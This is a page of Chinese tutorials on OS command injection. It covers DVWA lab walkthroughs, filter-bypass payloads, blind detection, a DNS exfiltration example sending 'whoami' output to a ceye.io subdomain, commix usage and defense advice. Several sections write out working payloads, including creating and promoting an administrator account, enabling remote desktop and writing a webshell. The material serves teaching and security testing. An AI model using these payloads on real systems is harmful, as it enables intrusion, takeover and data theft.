精华内容
下载资源
问答
  • 命令注入攻击(Command Injection):os指令通过网页上的漏洞注入进去 注射器里面含有各种OS的指令,通过网页上的漏洞注入进去 命令行注入dvwa,ping一个devices。这个网页提供了一个功能,当输入IP地址的时候,点...

    命令注入攻击(Command Injection):os指令通过网页上的漏洞注入进去
    在这里插入图片描述
    注射器里面含有各种OS的指令,通过网页上的漏洞注入进去
    在这里插入图片描述

    命令行注入dvwa,ping一个devices。这个网页提供了一个功能,当输入IP地址的时候,点submit可以帮你ping一下。
    从web网站发起的,就是看这个网站能不能和这个地址相通。(还多路由器也有这个指令,所以路由器也有这个漏洞)
    192.168.29.1 & net user
    本来只需要用户输入一个地址就行了,后来用户又加了一些东西。 & 符号和net user
    &符号是w
    展开全文
  • 常见的Web漏洞——命令注入

    千次阅读 2019-09-29 13:35:54
    命令注入原理 漏洞利用 漏洞防范 总结 命令注入简介 命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格...

    目录

    命令注入简介

    命令注入原理

    漏洞利用

    漏洞防范

     总结


    命令注入简介

    命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格导致的,常发生在具有执行系统命令的web应用中,如内容管理系统(CMS)等。

    命令注入原理

    本文以DVWA中的Command Injection为例,查看Command Injection的源代码,如图:

    后台代码并未对用户输入的参数ip的值进行过滤就直接与ping命令进行拼接并执行 ,因此我们可以使用常见的命令拼接字符对命令进行拼接,如使用“&”,“|”,“&&”,“||”等,linux系统下还可以使用“;”,“``”。

    • 对于shell1 & shell2,既执行shell1的命令也执行shell2的命令;
    • 对于shell1 && shell2,在shell1执行成功的情况下执行shell2,shell1执行失败就不会执行shell2,和逻辑与一样;
    • 对于shell1 | shell2,“|”为管道符,它将shell1执行的结果作为shell2的输入,因此无论shell1执行结果如何,都会执行shell2;
    • 对于shell1 || shell2,在shell1执行失败的情况下执行shell2,shell1执行成功则不会执行shell2,和逻辑或一样;
    • 对于shell1;shell2,在Linux系统下会将shell1和shell2都执行;
    • 对于shell1 `shell2`,shell2的执行结果会在shell1的报错信息中显示。

    漏洞利用

    本文中DVWA安装在windows7系统下,输入1 | dir,提交之后如图:

    然后输入127.0.0.1 && net user,提交后如图:

    同理可使用“&”和“||”进行命令注入漏洞的利用。如果该web应用具有较高的权限,可以利用该漏洞建立新账户,使用1 | whoami查看系统权限:

    发现是SYSTEM权限(系统的最高权限),然后使用1 | net user /add hacker 123456创建一个名为hacker的账户,密码为123456,执行完之后使用1 | net user查看,如图:

     然后可以使用1 | net localgroup Administrators /add hacker,将hacker账户添加到管理员用户组。然后可以使用1 | net start termservice开启远程桌面服务,如图:

    然后就可以使用hacker账户远程登录系统了,如图:

     设置安全等级为Medium,查看源代码,如图:

    后台代码将用户输入的字符串中的“&&”和“;”替换为了空字符,但是我们仍然可以使用“&”,“|”,“||”进行注入命令,如使用1 | whoami,如图:

     设置安全等级为High,查看源代码如图:

     后台代码将“&”,“;”,“| ”(符号后有空格),“_”,“$”,“(”,“)”,“`”,“||”替换为空字符,但未将“|”替换为空字符,因此可以使用“|”进行命令注入,使用1 |dir,如图:

    查看安全等级为Impossible级别的源代码,如图:

    后台代码使用stripslashes函数删除用户输入的字符串中的反斜杠,然后使用explode函数将字符串按“.”分割为数组,接着使用is_numeric函数判断数组是否为数字。

    漏洞防范

    命令注入漏洞是由于考虑不周,过滤不严格导致的,因此只要过滤的够严格就可以防范该漏洞,此外还可以设置命令选项,只允许执行几个常用的命令,除此之外的命令都不允许执行,也可以使用安全工具进行防范,如使用WAF,IDS,IPS等进行防御。

     总结

    近年来命令注入漏洞出现的较少,因此本文仅以DVWA为例讲解了命令注入漏洞的形成原理,漏洞的利用方法以及如何防范该漏洞发生,帮助大家学习命令注入漏洞。

    展开全文
  • 常见操作系统命令注入思路

    千次阅读 2021-12-16 10:31:15
    渗透测试技能:命令注入思路总结

    常见操作系统命令注入思路

    在这里插入图片描述

    一.什么是命令注入:

    命令注入:

    OS command injection翻译过来是操作系统命令注入,它可以让攻击者可以在运行应用程序的服务器上执行任意的操作系统(Operating system)命令,并且通常会完全破坏应用程序及所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其它部分,利用信任机制将攻击转移到组织内的其它结构。

    注入攻击的本质:

    攻击者通过输入将精细准备的Payload,使得被攻击系统错误的将恶意代码/命令拼接至已有的命令/代码中进行执行。

    二.命令注入的方法:

    2.1命令注入的基本呈现形式

    从DVWA靶场看看,命令注入的呈现形式:
    在这里插入图片描述

    |符号 拼接注入 命令arp -a,通过这种方式改变/扩展了被测对象的功能。攻击者通过这种方式获取被攻击对象的敏感信息,甚至完全控制被攻击对象。

    其实从呈现形式上来看,命令注入不复杂也不难理解,核心就是利用特定的连接符,将攻击者注入的攻击命令拼接至已有的代码中触发执行:

    <?php
    
    if( isset( $_POST[ 'submit' ] ) ) {
    
    	$target = $_REQUEST[ 'ip' ];
    
    	// Determine OS and execute the ping command.
    	if (stristr(php_uname('s'), 'Windows NT')) { 
    		$cmd = shell_exec( 'ping  ' . $target );
    		$html .= '<pre>'.$cmd.'</pre>';
    	} else { 
    		$cmd = shell_exec( 'ping  -c 3 ' . $target );
    		$html .= '<pre>'.$cmd.'</pre>';
    	}
    }
    ?>
    

    如上代码所示,攻击者输入的攻击代码会拼接到$target变量中,通过shell_exec函数触发执行。

    2.2命令注入的基本姿势

    前面聊到了命令注入的核心是拼接,故本章节重点介绍几种bash中常用的命令拼接的方式:

    command1 & command2 及 command1; command2

    先执行Command 1,不管是否成功,都会执行Command 2

    kali@kali:~/test$ 111;uname -a
    bash: 111:未找到命令
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    
    
    kali@kali:~/test$ 111&uname -a
    [5] 29294
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    bash: 111:未找到命令
    [5]+  退出 127              111
    
    
    kali@kali:~/test$ uname -a;cat /etc/passwd
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    
    
    kali@kali:~/test$ uname -a&cat /etc/passwd
    [5] 29308
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    kali@kali:~/test$ Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    
    
    

    command1 && command2

    与的逻辑,先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

    kali@kali:~/test$ 1111&&uname -a
    bash: 1111:未找到命令
    
    
    
    kali@kali:~/test$ uname -a&&cat /etc/passwd
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    

    command1 | command2

    command1、command2都会执行 command1的标准输出作为command2的标准输入

    
    kali@kali:~$ cat /etc/passwd |wc -l
    53
    kali@kali:~$ 
    

    command1 | | command2

    或的逻辑,如果command1 执行成功,则不执行command2;如果command1执行失败,则执行command2:

    
    kali@kali:~/test$ uname -a || cat /etc/passwd
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    
    kali@kali:~/test$ 111 || cat /etc/passwd
    bash: 111:未找到命令
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    
    

    2.3命令注入的Bypass技巧

    命令注入作为常见的漏洞类型之一,注重应用安全的项目会添加一些过滤或者部署WAF来进行防御,本章节介绍一些基于 Linux bash的绕过技巧,并不完备,大家可以自行举一反三:

    2.3.1关键字过滤bypass

    有一定安全意识的项目会编写一些黑名单规则或基于字符串匹配对于用户输入的命令做一些过滤,但往往难以尽善尽美。基于这些手段,我们可以尝试如下bypass手段。

    2.3.1.1 找替代命令bypass

    找替代命令是最直接的绕过思路,拿最基本cat查看命令为例,如果被过滤我们可以找到如下替代命令:

    cat:由第一行开始显示内容,并将所有内容输出
    tac:从最后一行倒序显示内容,并将所有内容输出
    more:根据窗口大小,一页一页的现实文件内容
    less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
    head:只显示头几行
    tail:只显示最后几行
    tailf:类似于tail –f
    paste:读取文件:
    
    
    2.3.1.2 关键字拼接绕过

    采取关键字拼接的方式进行绕过:

    kali@kali:~$ a=ca;b=t;$a$b /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    
    2.3.1.3 编解码bypass

    采取关键字动态编解码的方式进行绕过:

    hex编解码绕过

    kali@kali:~$ echo -e '\x63\x61\x74'
    cat
    kali@kali:~$ `echo -e '\x63\x61\x74' /etc/passwd`
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    

    base编解码绕过

    kali@kali:~$ echo Y2F0Cg==|base64 -d
    cat
    kali@kali:~$ `echo Y2F0Cg==|base64 -d` /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    2.3.1.4 通过特殊符号bypass

    转义字符bypass:
    命令关键字中增加转义\,不会起起到转义的效果。显式当字符串处理时会进行转义。

    ──(root💀bdba)-[/usr/bin]
    └─# echo "\t"                                                                                                                                                                                                                                                                                                                     
    ┌──(root💀bdba)-[/usr/bin]
    └─# echo \t  
    t
                                                                                                                                                                       
    ┌──(root💀bdba)-[/usr/bin]
    └─# ca\t "/etc/passwd"
    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    
    

    /t 本应该为: 水平制表(HT) (跳到下一个TAB位置)

    引号bypass:
    在输入的命令中部分字符添加上’'或"",其命是等效的。

    
    kali@kali:~$ 
    kali@kali:~$ u'n'ame -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    
    kali@kali:~$ un"a"me -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    kali@kali:~$ 
    
    root@kali:/# u''name -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    
    root@kali:/# u""name -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    root@kali:/# 
    

    通配符bypass
    ?或* 在bash中可以替代一个或多个字符。

    kali@kali:/bin$ u?ame -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    kali@kali:/bin$ 
    
    
    kali@kali:/bin$ cat /e?c/p*d
    cat: /etc/pam.d: 是一个目录
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    
    2.3.1.5 shell 特殊变量bypass

    $1、 2 、 2、 2@

    kali@kali:/bin$ u$1name -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    kali@kali:/bin$ u$2name -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    kali@kali:/bin$ u$@name -a
    Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
    kali@kali:/bin$ 
    
    
    2.3.1.5 引入其他人为干扰bypass

    将注入命令中插入一些无效的变量替换,人为的干扰字符串匹配过滤的规则:

    kali@kali:/bin$ who`sadada`ami
    bash: sadada:未找到命令
    kali
    kali@kali:/bin$ who$(sadada)ami
    bash: sadada:未找到命令
    kali
    kali@kali:/bin$ 
    
    
    2.3.2特殊符号过滤bypass
    2.3.2.1空格过滤bypass

    重定向符号绕过:

    ali@kali:~$ cat</etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    
    
    root@kali:/home/kali# cat<>/etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    

    shell内部域分隔符绕过:

    root@kali:/home/kali# cat${IFS}/etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    
    root@kali:/home/kali# cat$IFS/etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    

    Internal Field Separator (内部字段分隔符),是linux的环境变量,其默认值为“空格”
    root@kali:/home/kali# IFS=:
    root@kali:/home/kali# a=“hahaha:hehehe”
    root@kali:/home/kali# echo $a
    hahaha hehehe

    2.3.2.2 拿来主义

    从已有环境变量中扣出需要的字符:

    gpadmin@cyberlabsz05-EC600G3-GE:~$ echo $HOME
    /home/gpadmin
    gpadmin@cyberlabsz05-EC600G3-GE:~$ echo ${HOME:0:1}
    /
    gpadmin@cyberlabsz05-EC600G3-GE:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    

    从已定义的环境变量中提取已经被过滤掉的字符

    2.3.3命令长度限制bypass

    一道 CISP-PTE 认证考试的真题还原,考试前序步骤省略,最终可以拿到如下代码进行审计:

    <?php
    show_source(__FILE__);
    error_reporting(0);
    $cmd = $_GET['cmd'];
    echo '<br>'.strlen($cmd)'<br>';
    if(isset($cmd) && (strlen($cmd)<=10))
    {
    	@exec($cmd);
    }
    echo $_SERVER['SERVER_ADDR'];
    ?>
    

    这题明摆着告诉你是一道命令注入题,php的exec函数可以执行系统命令,但此处对于用户输入有长度限制需要绕过。

    解决办法:

    可以通过 >> 输出重定向,向一个.sh中多次追加写入绕过输入长度限制:

    kali@kali:~$ echo 'cat /etc\' >> cmd.sh
    kali@kali:~$ echo '/passwd' >> cmd.sh
    kali@kali:~$ chmod +x cmd.sh
    kali@kali:~$ ./cmd.sh
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    
    
    kali@kali:~$ cat cmd.sh
    cat /etc\
    /passwd
    kali@kali:~$ 
    
    

    2.4注入点的探测及回显问题

    命令注入攻击时执行结果往往不会直接返回,那么如何确认是否真的存在注入点?如何获取注入命令的信息反馈呢?

    2.4.1重定向命令执行结果
    gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /etc/passwd > /tmp/passwd
    gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /tmp/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    

    输出重定向到文件需要考虑路径和文件的写入权限问题,通常/tmp 是对于所有用户都有读写权限的。另外可以考虑将注入命令回显信息,写入到某个log文件中,通过前端的log日志下载/查看功能获取命令注入回显。

    2.4.2通过捕获ping包及时延判断注入点的存在

    某路由器产品的诊断功能产品存在命令注入漏洞,但是后端代码对于回显内容进行了匹配和过滤,采用如下方法判断注入点的存在:
    在这里插入图片描述

    在这里插入图片描述

    通过ping包和ping包之间的时延,判断拼接至被测对象的os 命令被执行,从而判断命令注入点的存在。

    2.4.3 通过应用协议带外输出

    命令执行结果,通过DNS查询带外输出举例:

    http://ceye.io 注册拿到一个子域名:lblawe.ceye.io,注册号后如下图所示:
    在这里插入图片描述

    该平台可以记录DNS查询信息,借助此平台我们有机会,将命令执行的结果,通过外部平台查看到。假设,当前期待拿到被攻击对象whoami 命令的执行结果。我们采用如下的方式进行命令注入,触发DNS查询:

    
    ping `whoami`.lblawe.ceye.io 
    
    

    如下图所示,whoami 命令的执行结果会通过 DNS log的形式记录在ceye.io站点:

    在这里插入图片描述

    如上图所示,whoami命令的执行结果 root,被当做DNS查询日志,记录在ceye.io站点中。

    三.命令注入案例分析:

    3.1测评工作中发现的命令注入问题的归纳

    命令注入探索方式:
    正向探索、反向探索、尝试直接复现

    漏洞呈现形式:
    产品配置滥用、产品功能滥用、对外接口滥用、组件遗留漏洞滥用、预埋后门被滥用

    测试思维:

    比较思维:寻找横向可替代资源
    观察细节:控制台、日志的两面性;可测试性,让不可见变为可见。
    识别可变化的事物:识别可变化的事物

    参考《探索吧!深入理解探索式软件测试》

    3.2测评工作中的典型命令注入漏洞分享

    信息安全要求,与公司实际产品相关的漏洞细节不能呈现…

    3.2.1 预埋后门被滥用案例

    [某数据卡存在操作系统任意命令执行AT指令后门](高危)

    漏洞描述
    逆向二进制文件,走查代码发现数据卡存在任意命令执行AT指令后门。

    探索思路
    反向探索:猜测(开发人员习惯)->审计,寻找匹配的代码段->实验,验证漏洞的存在。

    从测试心理学的角度来说,一切好的测试都源于怀疑、猜测,假定缺陷/漏洞是存在的;而不像CI那样期待软件永远相安无事的运行下去…。

    3.2.2 产品配置滥用案例分享_1

    某 摄像头 [WEB UI 网络配置->NTP设置存在linux命令注入漏洞](高危)

    漏洞描述
    摄像头 NTP协议功能配置存在linux命令注入漏洞。

    探索思路
    正向探索:猜测(产品实现方案)-> 基于实现方案的特征,尝试注入

    省事的设计方案,往往给你埋下最多的麻烦。

    3.2.3 产品配置滥用案例分享_2

    某产品配置 管理->容灾复制->容灾复制计划 存在命令注入漏洞

    漏洞描述
    某产品配置->管理->容灾复制 功能接口 可以在 复制源路径 或 目的路径参数注入Shell命令实现越权

    探索思路
    正向探索:审计log打印->猜测功能的实现方式->实验,确认漏洞的存在。

    不要让我知道得太多!

    3.2.4 产品功能滥用案例分享_1

    buffalo 路由器诊断功能命令注入漏洞

    漏洞描述
    buffalo 路由器网络诊断功能,由于后端对于用户输入的IP地址参数检查不严,导致命令注入

    探索思路
    正向探索:比较(相似的案例、相似的对外呈现)->直接复制经验,确认漏洞的存在->绕过限制成功利用。

    跟学生时代做题一样,见得多做的多就会有更多的条件反射。

    探索过程
    https://blog.csdn.net/jdhellfire/article/details/121969416

    3.2.5 产品功能滥用案例分享_2

    某产品 补丁升级>篡改补丁包实现命令注入,越权创建管理员账户(高)

    漏洞描述
    补丁包没有签名及完整性检查。篡改补丁包实现命令注入可以越权创建管理员账户。

    探索思路

    反向探索:逆向->漫游文件和代码->敏锐的识别有风险的方案->实验和利用。

    如果没有足够的防御意识,为用户提供方便和灵活性的的同时,也同样给攻击者大开方便之门。

    3.2.5 产品功能滥用案例分享_3

    某产品 版本升级功能,通过版本包文件名可以实现命令注入(中危)
    漏洞描述
    版本升级功能,upgrade 子程序在调用系统命令执行版本包解压时,对于文件名没有做合法性效验。可以通过版本包文件名实现命令注入。

    探索思路
    反向探索:代码逆向,搜索危险函数->猜测对应的产品功能->实验确认漏洞存在

    不是只有web 才有命令注入…

    3.2.6 对外接口滥用案例分享

    某产品消息代理 工具check 消息接口存在命令注入漏洞(高)
    漏洞描述
    某产品消息代理 工具 消息接口存在危险的命令拼接,及root 权限bash命令执行。存在高危命令注入漏洞

    探索思路
    反向探索:找木桶短板->代码走查找危险函数->猜测对应的对外接口->构造消息验证漏洞的存在。

    渗透测试不在于覆盖率多少产品模块,而在于找到木桶短板…

    3.2.7 组件遗留漏洞滥用案例分享

    某产品 OpenSSH组件存在命令注入漏洞(高危)
    漏洞描述

    某产品 OpenSSH组件版本为5.03.30,存在已知的CVE漏洞CVE-2020-15778,攻击者可以利用此漏洞实现命令注入。

    探索思路
    尝试直接复现:商用工具扫描->发现组件遗漏漏洞->找exp/poc直接尝试复现。

    四.命令注入工具分享:

    4.1 commix工具简介

    commix

    在这里插入图片描述

    Commix(简写为[comm]和[i]njection e[x]ploiter),是由Anastasios Stasinopoulos 编写的一个自动化工具,可以由web开发人员、渗透测试人员甚至安全研究人员使用,用于测试基于web的应用程序,以发现与命令注入攻击相关的bugs、错误或漏洞。通过使用该工具,可以很容易地在某个脆弱参数或HTTP头中发现和利用命令注入漏洞。

    工具的指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:

    目标:

    -u URL,—url = URL  目标URL。

    请求:
    —data=DATA      要通过POST发送的数据字符串。

    —host=HOST       HTTP主机头。

    —referer=REFERER    HTTP Referer标头。

    —user-agent=AGENT   HTTP用户代理头。

    —random-agent    使用随机选择的HTTP User-Agent头。

    —cookie=COOKIE    HTTP Cookie头。

    —headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。

    —force-ssl      强制使用SSL / HTTPS。

    4.2 commix应用简介

    通过 commix 工具自动注入DVWA靶场:

    burpsuite 抓包拿到cookie和data:
    在这里插入图片描述

    构造命令,执行注入:

    python commix.py --url="http://192.168.100.199/DVWA1/vulnerabilities/exec/" --data="ip=192.168.100.199&submit=submit" --cookie="security=low; PHPSESSID=206s7i424rtjsfdi1m0jjd5or0"
    

    在这里插入图片描述

    五.命令注入的防御Tips:

    1. 到目前为止防御OS命令注入攻击的有效方法是永远不要从应用程序代码中调用OS命令。在几乎每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。

    2. 如果认为无法通过用户提供的输入来调用OS命令,则执行更强大的输入验证,有效的验证方法包括:

      ●根据输入值来对比白名单上的内容。

      ●验证它们的输入是否仅包含字母数字字符,不包含其它语法或者空格。

    3. 千万不用通过转义shell字符来清理输入。实际上很容易出现绕过。

    4. 对于操作系统busybox组件进行裁剪;去掉产品功能实现不需要的命令、功能模块。

    5. 为了减少命令注入带来的影响,不要轻易采用root权限启动应用。

    6. log、打印回显中,谨慎暴露产品实现细节信息,不要给攻击者更多的想象空间。

    参考:

    什么是OS命令注入,如何防止 :
    https://portswigger.net/web-security/os-command-injection

    [工具] Commix :
    https://github.com/commixproject/commix

    PayloadsAllTheThings:
    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

    展开全文
  • 文章目录第一章 原理以及成因第二章·漏洞危害第三章 相关函数第一节 system()第二节 exec()第三节 ...防御方法第六章 DVWA第一节 low命令注入第二节 medium命令注入 第一章 原理以及成因 程序员使用脚本语言(比...

    第一章 原理以及成因

    程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
    应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。
    1. 用户输入作为拼接
    2. 没有足够的过滤
    

    第二章·漏洞危害

    1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令
    2. 继承Web 服务器权限,读写文件
    3. 反弹Shell
    4. 控制整个网站
    5. 控制整个服务器
    

    第三章 相关函数

    第一节 system()

    system() 能够将字符串作为OS 命令执行,自带输出功能。测试代码如下
    
    ----system.php
    <meta charset='gb2312'>
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        system($_GET['cmd']);
    }else{
        echo"
        ?cmd=ipconfig
        ";
    }
    ?>
    ----
    

    第二节 exec()

    exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。测试代码如下
    
    ----exec.php
    <meta charset="gb2312">
    <?php
    if(isset($_GET['cmd'])){
        echo "<pre>";
        print exec($_GET['cmd']);
    }else{
        echo"
        ?cmd=whoami
        ";
    }
    ?>
    ----
    

    第三节 shell_exec()

    测试代码如下

    ----shell_exec.php
     <?php
    if(isset($_GET['cmd'])){
        print shell_exec($_GET['cmd']);
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
    

    第四节 passthru()

    测试代码如下
    
    ----passthru.php
    <?php
    if(isset($_GET['cmd'])){
        passthru($_GET['cmd']);
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
    

    第五节 popen()

    popen() 也能够执行OS 命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。
    测试代码如下
    
    ----popen.php
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'].">> 1.txt";
        popen($cmd,'r');
    }else{
        echo"?cmd=whoami";
    }
    ?>
    ----
        查看1.txt 文件
    

    第六节 反引号

    反引号[``] 内的字符串,也会被解析成OS 命令。
    测试代码如下
    
    -----------------------------------------------------------------
    <?php
    if(isset($_GET['cmd'])){
        $cmd=$_GET['cmd'];
        print `$cmd`;
    }else{
        echo"?cmd=whoami";
    }
    ?>
    -----------------------------------------------------------------
    

    第四章 漏洞利用

    OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。
    

    第一节 查看系统文件

    提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。
    

    第二节 显示当前路径

    提交参数[?cmd=cd]
    

    第三节写文件

    提交参数[?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\WWW\Commmandi\shell.php]
    
    页面没有报错,说明文件写入成功。访问shell.php 文件。
    

    第五章 防御方法

    1. 尽量减少命令执行函数的使用,并在disable_functions 中禁用
    2. 在进入命令执行的函数或方法之前,对参数进行过滤
    3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义
    

    第六章 DVWA

    第一节 low命令注入

    127.0.0.1| whoami
    127.0.0.1|whoami
    127.0.0.1&&whoami
    127.0.0.1;whoami			?
    127.0.0.0.1||whoami
    

    第二节 medium命令注入

    127.0.0.1| whoami
    127.0.0.1|whoami
    127.0.0.0.1||whoami
    127.0.0.1&&&&whoami			x
    
    展开全文
  • 文件参数 Shell 命令注入(Appscan)

    千次阅读 2020-10-15 15:43:41
    这可以有效限制您的软件可访问特定目录中的哪些文件或者可以执行哪些命令。操作系统级别的示例包括 Unix chroot jail、AppArmor 和 SELinux。通常,受管代码可提供一定的保护。例如,Java SecurityManager 中的 java...
  • 1、什么是命令注入 Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式...
  • 简介命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的...
  • SQL注入原理与解决方法

    万次阅读 2016-08-04 21:27:13
     所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类...
  • 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。下面通过本文给大家分享sql 注入原理解析,感兴趣的朋友一起看看吧
  • 本节主要讲解 DVWA_v1.9 中的命令注入部分。 覆盖全部四种安全级别,从源码分析的角度上进行攻击测试。 适合新手小白。
  • 命令注入总结

    千次阅读 2021-12-15 13:17:24
    文章目录命令注入总结原理常见的危险函数PHPsystemexecpassthrushell_execpopenproc_open反引号Pythonsystempopensubprocess.call/subprocess.runspawnJavajava.lang.Runtime.getRuntime().exec(command)Linux下常用...
  • 根据网上视频课程学习总计知识点,文档结构分为php代码注入和os代码... php代码注入从原理 相关语句函数 利用 防御方面做出总结 os系统命令注入原理成因 相关函数 利用 防御方面做出总结 整理为文档 可以方便查阅
  • 命令注入漏洞(1)

    2021-01-14 00:41:39
    命令注入漏洞原理 其实命令注入漏洞也叫命令行注入漏洞,此漏洞是指web应用程序中调用了系统可执行命令的函数,而且输入的参数是可控的,如果黑客拼接了注入命令,就可以进行非法操作了。 靶机搭建 链接:...
